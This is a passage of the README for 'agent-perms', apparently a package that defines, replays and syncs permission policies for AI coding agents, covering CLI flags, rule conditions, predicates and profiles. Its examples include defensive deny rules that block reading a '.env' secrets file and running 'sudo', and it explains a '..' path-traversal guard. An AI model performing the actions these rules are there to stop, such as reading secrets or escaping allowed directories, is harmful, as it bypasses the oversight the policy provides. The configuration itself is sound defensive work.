rule asks about, are left out. Commands sharing a first word become one prefix rule on the words they all start with (`npm run build` and `npm run lint` give `npm run:*`), unless that prefix would also match an excluded command, in which case each repeated command gets an exact rule. Other tools get an exact rule on their path or URL, or a bare rule when the tool has no such input. Review the proposal before adopting it: a prefix rule allows arguments that were never observed.\n\n### Transcript format\n\nBoth commands read Claude Code session logs (the `.jsonl` files under `~/.claude/projects/`). The parser reads `tool_use` blocks (`id`, `name`, `input`) and `tool_result` blocks (`tool_use_id`, `is_error`, `content`) from each entry's `message.content`, plus the entry's `cwd` and `gitBranch` as the call's context. The log records no environment variables or git remote, so a `when` condition on either is unknown during a replay: it can still deny or ask, but never allows. The input rules match against is `command` for `Bash`, `file_path` for `Read`, `Write`, `Edit` and `MultiEdit`, `notebook_path` for `NotebookEdit` and `url` for `WebFetch`. A log does not say which rule decided a call, or whether a call that ran was allowed outright or approved when asked; it records only the outcome, which is read from the result text: an error starting `Permission to use` and containing `has been denied` is a denial, an error starting `The user doesn't want to proceed with this tool use.` is a declined request, and anything else means the call ran.\n\n### confine\n\n```bash\nagent-perms confine --root .\nagent-perms confine --root . --root ../shared --output .agents/permissions.json\nagent-perms confine --root ~/projects/app --outside deny\n```\n\n| Flag              | Description                                                        |\n| ----------------- | ------------------------------------------------------------------ |\n| `-r`, `--root`    | Directory the file tools may reach (required, repeatable)          |\n| `--outside`       | `ask` (default) or `deny`: what happens to paths outside the roots |\n| `-o`, `--output`  | Write to a file (or format name) instead of stdout                 |\n| `-c`, `--compact` | Output compact JSON                                                |\n\nPrints a canonical policy that allows `Read`, `Edit` and `Write` on each root and everything below it, and lists the roots other than the working directory under `permissions.additionalDirectories`. Relative roots resolve against the working directory; paths are made absolute, `.` and `..` segments are collapsed, trailing separators are dropped and duplicates are removed.\n\n**What it can and cannot express.** Evaluation is deny-first and patterns are exact, `prefix:*` or `*` wildcards, none of which can negate. \"Deny everything outside the roots\" therefore cannot be written: a blanket deny would also beat the allow rules for the roots. Instead the policy:\n\n- allows the file tools on `<root>` and `<root>/*`, so a sibling sharing the root as a string prefix (`/work/app-secrets` for `/work/app`) is not matched;\n- denies any path containing a `..` segment, because the wildcard `/work/app/*` would otherwise match the text `/work/app/../secret`;\n- sets `defaultMode` to `restricted` (outside paths ask) or, with `--outside deny`, `readonly` (outside paths are refused). That mode is global: it also applies to every other tool that has no rule of its own, so `readonly` refuses `Bash` calls that no rule allows.\n\nTool inputs are matched as literal text. A path given relative to the working directory matches no root rule and falls to the default mode.\n\n**This is not a sandbox.** Only the file tools are constrained. A `Bash` command can still read or write anywhere, and other tools are untouched. To restrict what shell commands can reach, use the policy's `sandbox` field.\n\n### sync\n\n```bash\nagent-perms sync\nagent-perms sync --dry-run\nagent-perms sync -w claude-code -w opencode\nagent-perms sync -x codex\n```\n\n| Flag                | Short | Description                                |\n| ------------------- | ----- | ------------------------------------------ |\n| `--working-dir`     | `-d`  | Starting directory (default: cwd)          |\n| `--up <n\\|all>`     | `-u`  | Ascend n parent directories (default: all) |\n| `--with <agent>`    | `-w`  | Only sync these agents (repeatable)        |\n| `--without <agent>` | `-x`  | Sync all except these agents (repeatable)  |\n| `--yes`             | `-y`  | Apply without prompting                    |\n| `--dry-run`         |       | Show changes only, never write             |\n| `--create`          | `-c`  | Create config files that don't exist       |\n| `--verbose`         | `-v`  | Show rule provenance                       |\n| `--backup`          | `-b`  | Write `.bak` files before overwriting      |\n| `--omp-global`      |       | Also write Oh My Pi's global config        |\n\nSync merges rules with deny-first semantics (deny > ask > allow for same tool+pattern).\nMost restrictive `defaultMode` wins.\n\nIf an agent's codec refuses a rule in the merged policy (see the compatibility table), sync reports the refused rules, writes nothing for any agent, and exits 1. Leave that agent out with `--without` to sync the others.\n\nOh My Pi's config is YAML and is edited in place: only `bash.patterns` and `tools.approvalMode` change, and comments and every other key are kept. Sync reads the project's `.omp/config.yml` like any other native config, and also reads the global config (`config.yml`, or an existing `config.yaml`, in `$PI_CODING_AGENT_DIR`, else `~/.omp/agent`), because Oh My Pi replaces the global `bash.patterns` with a project's rather than joining them: a project list written without the global's entries would drop its denies. So the global's rules reach the merged policy, and `--without omp` keeps them out. The project file is written when it exists (or with `--create`); the global file is written only with `--omp-global`, since every Oh My Pi session on the machine reads it. Either file is always backed up to `.bak` before it is written, and one sync cannot read (invalid YAML, or an entry the codec refuses to decode) stops the sync instead of being overwritten. `tools.approvalMode` is only ever set to `always-ask`, Oh My Pi's strictest mode, and is left as it is when the policy leaves the mode to Oh My Pi. Oh My Pi reads a project config from the directory it runs in only, not from a parent. Named Oh My Pi profiles are not read.\n\n### mcp\n\n```bash\nagent-perms mcp\n```\n\nStarts the MCP sync daemon on stdio. Sync config comes from `.agents/permissions.json` via the `sync` field. Typically invoked by agent harnesses via `npx agent-perms-mcp`, not run directly.\n\n| Flag                  | Description                                                                                 |\n| --------------------- | ------------------------------------------------------------------------------------------- |\n| `--permission-prompt` | Expose the `permission_prompt` tool (see [Permission-prompt tool](#permission-prompt-tool)) |\n\n## JSON Schema for IDE support\n\nThe schema is included in [SchemaStore](https://schemastore.org). Editors that support it (VS Code, JetBrains, neovim) will automatically provide autocomplete and validation for `.agents/permissions.json` and `.agents/permissions.local.json` files with no configuration.\n\nTo explicitly reference the schema:\n\n```json\n{\n  \"$schema\": \"https://github.com/Mearman/agent-permissions/releases/latest/download/agent-permissions.schema.json\"\n}\n```\n\nOr reference locally:\n\n```json\n{\n  \"$schema\": \"./node_modules/agent-perms/agent-permissions.schema.json\"\n}\n```\n\nThe schema file ships with the package at `agent-perms/agent-permissions.schema.json`.\n\n## Examples\n\n### Minimal: allow safe tools, deny secrets\n\n```json\n{\n  \"rules\": [\n    { \"tool\": \"Bash\", \"pattern\": \"git status\", \"tier\": \"allow\" },\n    { \"tool\": \"Bash\", \"pattern\": \"git diff:*\", \"tier\": \"allow\" },\n    { \"tool\": \"Read\", \"tier\": \"allow\" },\n    { \"tool\": \"Grep\", \"tier\": \"allow\" },\n    { \"tool\": \"Read\", \"pattern\": \"./.env\", \"tier\": \"deny\" },\n    { \"tool\": \"Bash\", \"pattern\": \"sudo:*\", \"tier\": \"deny\" }\n  ]\n}\n```\n\n### Personal overrides (`.agents/permissions.local.json`)\n\n```json\n{\n  \"rules\": [\n    { \"tool\": \"Bash\", \"pattern\": \"python3:*\", \"tier\": \"allow\" },\n    { \"tool\": \"Bash\", \"pattern\": \"docker:*\", \"tier\": \"allow\" }\n  ]\n}\n```\n\n### Rules: unconditional deny\n\nRules without `when` always apply, regardless of cwd or branch:\n\n```json\n{\n  \"rules\": [{ \"tool\": \"Bash\", \"pattern\": \"npm publish:*\", \"tier\": \"deny\" }]\n}\n```\n\n### Rules: conditional (cwd/branch)\n\nRules with `when` only match when all conditions are met (AND logic):\n\n```json\n{\n  \"rules\": [\n    {\n      \"tool\": \"Bash\",\n      \"pattern\": \"npm publish:*\",\n      \"tier\": \"deny\",\n      \"when\": { \"branch\": \"main\", \"cwd\": \"./packages/core\" }\n    }\n  ]\n}\n```\n\nConditions available in `when`, all combined with AND:\n\n| Condition   | Matches                                                                                                                                                                              |\n| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |\n| `cwd`       | Working directory, as a glob                                                                                                                                                         |\n| `branch`    | Git branch, as a glob                                                                                                                                                                |\n| `env`       | Environment variables that must each equal the given value, as `{ \"CI\": \"true\" }`                                                                                                    |\n| `remote`    | Git remote, as a glob against `host/path` in lower case; `git@github.com:Org/Repo.git` and `https://github.com/org/repo` both match `github.com/org/*`                               |\n| `predicate` | A [trilean](https://www.npmjs.com/package/trilean) predicate tree over the context, for what the fields above cannot say: an OR of remotes, or \"unless this variable has this value\" |\n\nA key that is not one of these is a validation error, so a misspelled condition cannot silently leave a rule applying everywhere.\n\nA `predicate` is validated with trilean's own schema and evaluated with trilean's synchronous evaluator, under the same three-valued rules as the other conditions. Its reference keys name context fields: `cwd`, `branch`, `actor`, `remote` (normalised, as `remote` compares it), `env:NAME` (text) and `role:NAME` (a boolean). A field the context does not carry is unknown, so a predicate that depends on it never lets an allow rule apply and still lets a deny or ask rule apply, while a definite result on one side of an `or` or `and` settles it whatever the other side is. Here a rule allows `deploy` on either of two repositories:\n\n```json\n{\n  \"tool\": \"Bash\",\n  \"pattern\": \"deploy:*\",\n  \"tier\": \"allow\",\n  \"when\": {\n    \"predicate\": {\n      \"kind\": \"or\",\n      \"left\": {\n        \"kind\": \"textCompare\",\n        \"op\": \"equals\",\n        \"left\": { \"kind\": \"reference\", \"key\": \"remote\" },\n        \"right\": { \"kind\": \"textLiteral\", \"value\": \"github.com/acme/api\" }\n      },\n      \"right\": {\n        \"kind\": \"textCompare\",\n        \"op\": \"equals\",\n        \"left\": { \"kind\": \"reference\", \"key\": \"remote\" },\n        \"right\": { \"kind\": \"textLiteral\", \"value\": \"github.com/acme/web\" }\n      }\n    }\n  }\n}\n```\n\nA predicate may not contain `exists`, `some`, `every`, `fold`, `accumulator`, `lookup`, `delegate`, `treeReference` or `call` nodes. `exists` would read an unknown field as absent, and a quantifier over the roles would read unknown roles as an empty list, either of which turns \"the host did not say\" into a definite answer that can grant; compare the value itself instead (`not` over an `equals` on `env:STAGE` is unknown when the variable is unset). The schema rejects these, and compiling a policy built in code with one throws.\n\nA codec writes a rule with a `predicate` as it writes any other conditioned rule: an allow it cannot condition is left out, and a deny or ask is written without the condition, which is stricter, or refused where the target cannot do that.\n\nA condition on a field the evaluation context does not carry (no `cwd` or no `branch` supplied) is unknown, not satisfied. An unknown condition never lets an allow rule apply, and still lets a deny or ask rule apply, since the condition may hold. A definite mismatch on one condition settles the rule even if another condition is unknown.\n\n### Watching for changes\n\nA long-running host can follow the layer files instead of polling:\n\n```typescript\nimport { watchPolicy } from \"agent-perms/loader\";\nimport type { PermissionPolicy } from \"agent-perms/evaluate\";\n\nlet policy: PermissionPolicy | undefined;\nconst watcher = watchPolicy(\n  { cwd },\n  (next) => {\n    policy = next;\n  },\n  (error) => {\n    console.error(error.message);\n  },\n);\n// watcher.close() when done\n```\n\n`onChange` runs with the policy as it first loads, then again whenever a reload gives a different one, including when a layer file appears or disappears; a rewrite that leaves the policy unchanged reports nothing. Use the first report rather than a separate `loadPolicy`, which could miss a change made while the watch was starting. A layer file that exists but cannot be read, parsed or validated, an editor mid-write for instance, goes to `onError` as a `PolicyLoadError` and no policy is reported until every file loads again, because a policy missing that layer would be looser than the one in force.\n\n### Profiles that extend profiles\n\nA profile can build on others with `extends` and state only what differs:\n\n```json\n{\n  \"profiles\": {\n    \"base\": { \"deny\": [\"Bash(sudo:*)\"], \"allow\": [\"Read\", \"Grep\"] },\n    \"dev\": { \"extends\": [\"base\"], \"allow\": [\"Bash(npm run *)\"] }\n  },\n  \"activeProfile\": \"dev\"\n}\n```\n\nExtending only adds: a profile's lists are its parents' lists followed by its own, so a child cannot remove a restriction a parent set, and its default mode is its own or else the last parent's that sets one. A parent that does not exist, or profiles that extend each other in a cycle, fail validation. `resolveProfiles` flattens `extends`, and the Codex codec writes each profile with its parents' rules.\n\n### Full policy with profiles, sandbox, per-agent overrides\n\nSee [`spec/examples/full.json`](spec/examples/full.json).\n\n## Development\n\n```bash\npnpm install          # Install dependencies\npnpm test             # Run tests\npnpm build            # Build ESM + CJS + types + JSON Schema\n```\n\n### Schema source of truth\n\nThe Zod schema in `src/schema.ts` is the single source of truth. The compiled JSON Schema (`agent-permissions.schema.json`) is generated via `z.toJSONSchema()`. Never edit it by hand.\n\n### Adding a new agent codec\n\n1. Define the agent's native schema in `src/compat/codecs.ts`\n2. Implement `z.codec(nativeSchema, AgentPermissionPolicy, { decode, encode })`\n3. Add round-trip tests in `src/test/compat.test.ts`\n4. Register in the `CODECS` export\n","readmeFilename":""}